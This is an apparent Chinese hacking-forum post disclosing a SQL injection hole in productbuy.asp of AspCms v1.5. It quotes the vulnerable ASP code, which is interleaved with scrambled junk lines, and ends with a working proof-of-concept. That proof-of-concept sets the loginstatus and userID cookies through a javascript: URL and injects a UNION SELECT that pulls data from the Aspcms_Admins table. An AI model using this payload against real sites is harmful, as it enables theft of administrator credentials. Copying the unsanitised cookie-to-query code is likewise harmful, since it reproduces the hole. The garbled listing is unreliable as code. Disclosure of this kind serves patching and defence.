AspCms_v1.5_20110517 SQL注射漏洞及修复

admin

好久没上土司了，上来一看发现在删号名单内.....
也没啥好发的，前些天路过某个小站，用的AspCms这个系统，搜索了下，productbuy.asp这个文件存在注射，但是目标已经修补....下载了代码，很奇葩的是productbuy.asp这个文件官方虽然修补了网上提到的漏洞，但是就在同一个文件下面找到了注射漏洞。。。。。。。
废话不多说，看代码：

<%
0 v& S" ]" U' R- p" S: p. W
if action = "buy" then
1 B: X; W  D' a2 x
  P9 H  v' _: w: R. ]        addOrder()

else
. O  K, L6 W  f1 C# m1 g9 U
) z, ]. A4 Y: R+ P6 g! _        echoContent()
' X" V/ B4 h, r! k; ]* l/ l# e  F
  d" A0 ~' u5 ^2 Lend if
; ?, j$ k/ D$ e* d0 ~& S, ?! e
! T" j2 }# a; C- [& L4 N* K  T. e
/ d6 q- _2 J, D' s' l' @
/ S( W7 x6 Y* Z0 q. L" Z0 M. v……略过
' B6 L$ t7 T$ n; s, j
9 y! z1 l0 N' h" c; w, B
8 Q& j- [$ I% t4 |: `: U
Sub echoContent()
* [1 U$ [- R- K* Z2 O0 s' F
" P0 g, x7 u  K/ [6 O$ Z: H        dim id
' Z) M) Y( r# u  l9 R; i
* ?( {' a" y2 [: D& L( K        id=getForm("id","get")
6 Q5 t$ E  p. z( D, T1 L
% |2 q4 B  q& H! B5 x  i* _6 Q* S        

        if isnul(id) or not isnum(id) then alertMsgAndGo "请选择产品！","-1"
. E, f) M7 s+ }' a5 p5 n' w6 m0 s
8 M3 D! y- }- z+ b        

+ a5 x/ g5 K: q- _- z) H$ f        dim templateobj,channelTemplatePath : set templateobj = mainClassobj.createObject("MainClass.template")
9 |; u+ M( R4 g3 v
8 U( f  O$ ^' d: t$ |7 I  {        dim typeIds,rsObj,rsObjtid,Tid,rsObjSmalltype,rsObjBigtype,selectproduct

# K1 A) }0 `8 e+ J0 v. `        Dim templatePath,tempStr

$ l, |4 N2 p6 v$ L0 X! X        templatePath = "/"&sitePath&"templates/"&defaultTemplate&"/"&htmlFilePath&"/productbuy.html"


! x" p5 w$ ^2 p5 G
9 k  M- d+ g% J' K8 p        set rsObj=conn.Exec("select title from aspcms_news where newsID="&id,"r1")
% f4 i: U$ f+ x' I8 U3 \( K
  Y" K- }- |" O, s, @4 U( N; T        selectproduct=rsObj(0)

        
7 x2 I6 G7 m; L' \# @+ ]6 l+ x
, \9 _% W  s3 W$ D3 s7 a3 ^7 D        Dim linkman,gender,phone,mobile,email,qq,address,postcode
. p1 j0 u1 {3 J/ @: D
. B. N" \2 \) j/ J" l        if isnul(rCookie("loginstatus")) then  wCookie"loginstatus",0

        if rCookie("loginstatus")=1 then  
9 l6 @7 I& n9 W6 A
                set rsObj=conn.Exec("select *  from aspcms_Users where UserID="&trim(rCookie("userID")),"r1")

                linkman=rsObj("truename")
: f; b0 G1 K+ V' M' ^. f
1 Z$ B1 w" y$ l1 {: g" u% a                gender=rsObj("gender")
& G- _9 D- ^. c8 N( S. ?/ X
                phone=rsObj("phone")
+ J  N, A, \$ F1 `& _* d. Q
$ X! y6 W( _0 u                mobile=rsObj("mobile")

# v& \0 c4 q2 T" C$ ]                email=rsObj("email")
, J/ I3 E" ?1 C) |
                qq=rsObj("qq")
- }" Q. w6 d) _- R! R, g; e
                address=rsObj("address")
; n% A! Z( i  C2 f# e9 w! T
                postcode=rsObj("postcode")

        else

                gender=1
! e) C# v. a  w9 m; J  M
$ {- E" a1 m/ b+ B  \# c        end if
6 j( G% H( r% W1 V
        rsObj.close()

# i# W- s7 x, t. V' T               
' n- v6 G* E3 t8 n" O8 k  r
( X% \  J3 o6 g+ b! A( O& T        with templateObj

                .content=loadFile(templatePath)        
7 T. q" g( R% ]! [
) w( i& D. Y3 C- _# p                .parseHtml()
2 s% c; @  Y5 |6 ?9 S- _
                .content=replaceStr(.content,"{aspcms:selectproduct}",selectproduct)

! n0 ?9 z$ g" y$ ]% V                .content=replaceStr(.content,"[aspcms:linkman]",linkman)               

                .content=replaceStr(.content,"[aspcms:gender]",gender)               
" K1 F) x  j& [# Y* X; b
) n7 `7 G- |2 A( [# X                .content=replaceStr(.content,"[aspcms:phone]",phone)               
% ~1 p$ ]/ P/ p; ?8 U/ s6 N
                .content=replaceStr(.content,"[aspcms:mobile]",mobile)               

9 V6 y8 t  K4 p                .content=replaceStr(.content,"[aspcms:email]",email)                        

                .content=replaceStr(.content,"[aspcms:qq]",qq)                        

; R4 W" R4 z& x% e7 Y2 Y+ U                .content=replaceStr(.content,"[aspcms:address]",address)                        

                .content=replaceStr(.content,"[aspcms:postcode]",postcode)        
4 b$ H$ t0 m2 g: R
                .parseCommon()                 
% _1 v& U3 k# q& k% N
                echo .content

$ b5 i" O% c, j8 F4 K        end with

7 @- w+ z2 r& W, u% W% y7 t        set templateobj =nothing : terminateAllObjects
$ q1 M6 |' d. r2 M% b- j3 ^7 R9 S5 G
6 \" G1 h. A, y, c7 ]End Sub
漏洞很明显，没啥好说的
poc：
5 A% {$ h% c" N; w- X. Y
javascript:alert(document.cookie="loginstatus=" + escape("1"));alert(document.cookie="userID=" + escape("1 union select 1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2 from [Aspcms_Admins]"));另外，脚本板块没权限发帖子​
% r  V9 V1 I& w/ a: a. O3 h
6 V# t- k0 M3 J- O1 t$ C, C